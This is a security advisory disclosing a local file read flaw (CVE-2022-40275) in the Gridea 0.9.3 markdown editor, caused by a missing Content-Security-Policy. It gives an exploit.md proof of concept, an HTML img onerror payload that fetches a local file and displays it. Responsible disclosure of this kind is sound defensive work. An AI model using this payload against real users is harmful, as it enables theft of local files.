Gridea 0.9.3 - Local File Read

Summary

NameGridea 0.9.3 - Local File Read
Code name
ProductGridea
Affected versionsVersion 0.9.3
StatePublic
Release date2022-09-26

Vulnerability

KindInsecure or unset HTTP headers - Content-Security-Policy
Rule
RemoteYes
CVSSv3.1 VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
CVSSv3.1 Base Score5.5
Exploit availableYes
CVE ID(s)

Description

Gridea version 0.9.3 allows an external attacker to remotely obtain arbitrary local files on any client that attempts to view a malicious markdown file through Gridea. This is possible because the application does not have a CSP policy (or at least not strict enough) and/or does not properly validate the contents of markdown files before rendering them.

Vulnerability

This vulnerability occurs because the application does not have a CSP policy (or at least not strict enough) and/or does not properly validate the contents of markdown files before rendering them. Because of the above, an attacker can embed malicious JS code in a markdown file and send it to the victim to view and thus achieve an exfiltration of their local files.

Exploitation

To exploit this vulnerability, you must send the following file to a user to open with Gridea. The exploit is triggered when the user presses CTRL+P or simply clicks preview.

exploit.md

<img src="1" onerror='fetch("file:///etc/private").then(data => data.text()).then(leak => alert(leak));'/>

Our security policy

We have reserved the CVE-2022-40275 to refer to this issue from now on.

System Information

  • Version: Gridea 0.9.3

  • Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Carlos Bello from Fluid Attacks' Offensive Team.

References

Vendor page https://github.com/getgridea/gridea

Timeline

Time-lapse-logo

2022-09-05

Vulnerability discovered.

Time-lapse-logo

2022-09-05

Vendor contacted.

Time-lapse-logo

2022-09-26

Public Disclosure.

Fluid Logo Footer

Hacking software for over 20 years

Fluid Attacks tests applications and other systems, covering all software development stages. Our team assists clients in quickly identifying and managing vulnerabilities to reduce the risk of incidents and deploy secure technology.

Copyright © 0 Fluid Attacks. We hack your software. All rights reserved.